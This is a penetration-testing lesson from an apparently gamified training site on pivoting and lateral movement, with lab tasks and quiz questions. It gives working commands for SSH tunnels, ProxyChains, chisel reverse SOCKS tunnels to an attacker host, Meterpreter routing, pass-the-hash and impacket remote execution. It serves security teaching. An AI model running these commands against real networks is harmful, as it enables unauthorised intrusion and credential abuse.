Pivoting & Lateral Movement

Move through segmented networks using port forwarding, dynamic SOCKS proxies, chisel tunnels, and ProxyChains — reaching hosts that aren't directly accessible from the attacker machine.

Hard 65m 3 tasks

Learning Objectives

  • Perform local and remote port forwarding with SSH tunnels
  • Set up SOCKS5 dynamic proxy with SSH and ProxyChains
  • Use chisel for reverse SOCKS tunneling through firewalls
  • Pivot through Meterpreter sessions for multi-hop networks
  • Map and enumerate internal networks from a compromised pivot host

The Pivoting Problem

Real-world network segmentation:
Attacker (192.168.1.50)
    |
    | (internet / VPN)
    v
DMZ (10.0.0.0/24) -- compromised web server: 10.0.0.5
    |
    | (internal firewall — only allows limited ports)
    v
Internal (172.16.0.0/24) -- target: 172.16.0.100 (NOT directly accessible!)

Goal: reach 172.16.0.100 through the compromised 10.0.0.5 pivot host

SSH Tunneling

Local Port Forwarding

# Access internal host via SSH pivot
# Forward local port to internal target through SSH host

ssh -L LOCAL_PORT:TARGET_IP:TARGET_PORT user@PIVOT_HOST

# Example: DB on 172.16.0.100:3306 via pivot 10.0.0.5
ssh -L 4406:172.16.0.100:3306 [email protected]
# Now: mysql -h 127.0.0.1 -P 4406 -u root  → connects to 172.16.0.100:3306

# Browse internal web server:
ssh -L 8080:172.16.0.10:80 [email protected]
# Now: curl http://localhost:8080 → hits 172.16.0.10:80

Remote Port Forwarding

# Expose a port from behind a firewall back to the attacker
# Useful when pivot has no public IP, only outbound connections allowed

ssh -R ATTACKER_PORT:localhost:22 user@attacker_machine
# Now: attacker can ssh -p ATTACKER_PORT localhost to reach pivot's SSH

# More useful: reverse shell caught on attacker via pivot
# Victim runs: ssh -R 4444:192.168.1.50:4444 user@attacker
# Now: listener on attacker:4444 receives connections from inside the network

Dynamic SOCKS Proxy

# Create a SOCKS5 proxy through the SSH tunnel
ssh -D 9050 user@PIVOT_HOST
# Now: all tools proxied through this can reach PIVOT's network

# Configure ProxyChains:
# Edit /etc/proxychains4.conf:
# socks5 127.0.0.1 9050

# Run any tool through the proxy:
proxychains nmap -sT -Pn -p 22,80,443,3306 172.16.0.100
proxychains curl http://172.16.0.10/
proxychains crackmapexec smb 172.16.0.0/24 -u admin -p password

# Note: NMAP via proxychains: use -sT (TCP connect) not -sS (SYN)
# UDP doesn't work through SOCKS proxy

Chisel – Reverse Proxy Tunneling

# Chisel: HTTP-based tunnel — works through HTTP proxies and firewalls
# Useful when SSH is blocked but HTTP/HTTPS is allowed

# Download chisel:
wget https://github.com/jpillora/chisel/releases/download/v1.9.1/chisel_1.9.1_linux_amd64.gz
gunzip chisel*.gz && chmod +x chisel

# On attacker (server mode):
./chisel server -p 8080 --reverse
# Listens on :8080 for chisel client connections

# On pivot host (client mode) — connects OUT to attacker:
./chisel client ATTACKER_IP:8080 R:socks
# Creates a SOCKS5 proxy on attacker's port 1080

# Edit /etc/proxychains4.conf:
# socks5 127.0.0.1 1080

# Now route traffic through the tunnel:
proxychains nmap -sT -Pn 172.16.0.100
proxychains evil-winrm -i 172.16.0.100 -u administrator -H HASH

Meterpreter Pivoting

# From a Meterpreter session, add a network route to internal subnet:
meterpreter > run post/multi/manage/autoroute
# Or manually:
meterpreter > background
msf6 > route add 172.16.0.0/24 SESSION_ID
# Now MSF modules can reach 172.16.0.0/24 via the pivot

# Set up SOCKS proxy through Meterpreter:
msf6 > use auxiliary/server/socks_proxy
msf6 auxiliary(socks_proxy) > set SRVHOST 127.0.0.1
msf6 auxiliary(socks_proxy) > set SRVPORT 9050
msf6 auxiliary(socks_proxy) > set VERSION 5
msf6 auxiliary(socks_proxy) > run -j
# Configure proxychains to use 127.0.0.1:9050

# Port forwarding via Meterpreter:
meterpreter > portfwd add -l 3306 -p 3306 -r 172.16.0.100
# Now: mysql -h 127.0.0.1 -P 3306 → reaches internal DB

Lateral Movement Techniques

Pass-the-Hash / Pass-the-Ticket

# Move to other hosts using harvested credentials
# (covered in Password Attacks lesson)
crackmapexec smb 172.16.0.0/24 -u administrator -H NTLM_HASH

# Check for password reuse:
crackmapexec smb 172.16.0.0/24 -u users.txt -p passwords.txt

PSExec and Remote Execution

# Remote command execution:
impacket-psexec administrator:[email protected]  # SMB
impacket-wmiexec administrator:[email protected]  # WMI
impacket-smbexec administrator:[email protected]  # SMBexec

# PowerShell remoting (WinRM):
evil-winrm -i 172.16.0.100 -u administrator -p password
# Or PTH:
evil-winrm -i 172.16.0.100 -u administrator -H NTLM_HASH

Network Discovery from Pivot

# Enumerate from the pivot host:
# 1. ARP table (hosts the pivot has talked to recently):
arp -a

# 2. Routing table (what subnets are reachable):
route -n      # Linux
route print   # Windows

# 3. Active connections:
netstat -antup   # Linux
netstat -ano     # Windows

# 4. Scan internal subnet (via proxychains or on pivot):
# Upload static nmap binary to pivot:
scp /opt/nmap-static user@pivot:/tmp/
ssh user@pivot "/tmp/nmap -sT -Pn -p 22,80,443,3389,445,3306 172.16.0.0/24 -oN /tmp/internal_scan.txt"

Double Pivot

# When the internal network also has deeper segmentation:
# Attacker -> Pivot1 (DMZ) -> Pivot2 (Internal) -> Target (Deep Internal)

# Chisel double pivot:
# Attacker (server):
./chisel server -p 8080 --reverse

# Pivot1 (client connecting to attacker, offering SOCKS):
./chisel client ATTACKER:8080 R:1080:socks

# Pivot2 (connecting through Pivot1's SOCKS to attacker):
proxychains ./chisel client ATTACKER:8080 R:1081:socks

# Attacker uses port 1081 to reach deep internal through both pivots

Set up a multi-segment lab with 3 VMs (Attacker, Pivot, Internal): (1) confirm Attacker cannot directly reach Internal VM, (2) establish SSH shell on Pivot, (3) local port forward: ssh -L 8080:INTERNAL_IP:80 user@PIVOT, (4) verify: curl http://localhost:8080 returns Internal web server, (5) dynamic proxy: ssh -D 9050 user@PIVOT, (6) configure /etc/proxychains4.conf: socks5 127.0.0.1 9050, (7) proxychains nmap -sT -Pn -p 80,443,22,3306 INTERNAL_IP.

✦ Answer the questions to complete this task

What is the difference between local and remote port forwarding in SSH?

Why must you use -sT (TCP connect) with Nmap through ProxyChains?

Set up a chisel tunnel through a firewalled pivot: (1) start chisel server on attacker: ./chisel server -p 8080 --reverse, (2) transfer chisel to pivot: scp chisel user@pivot:/tmp/, (3) connect from pivot: ./chisel client ATTACKER_IP:8080 R:socks, (4) observe SOCKS proxy on attacker port 1080, (5) use proxychains nmap to scan internal network through the tunnel, (6) compare: can you reach hosts that were unreachable before?

✦ Answer the questions to complete this task

Why is chisel particularly useful when SSH is blocked by a firewall?

Pivot through Meterpreter: (1) obtain Meterpreter session on a DMZ host, (2) background the session, (3) add route: route add 172.16.0.0/24 SESSION_ID, (4) set up SOCKS proxy: use auxiliary/server/socks_proxy, (5) configure proxychains to use MSF SOCKS proxy, (6) scan internal subnet through the route, (7) exploit an internal host using the route (Metasploit modules route automatically through the session).

✦ Answer the questions to complete this task

What does 'route add' do in Metasploit?

💪 Exercises & Challenges

📝 MCQ Medium +20 XP

Pivoting MCQ

Pivoting MCQ

Start →
⚙️ Practical Medium +30 XP

Multi-Hop Pivot Setup

Multi-Hop Pivot Setup

Start →
🚩 Challenge Hard +50 XP

Reach the Internal Host

Reach the Internal Host

Start →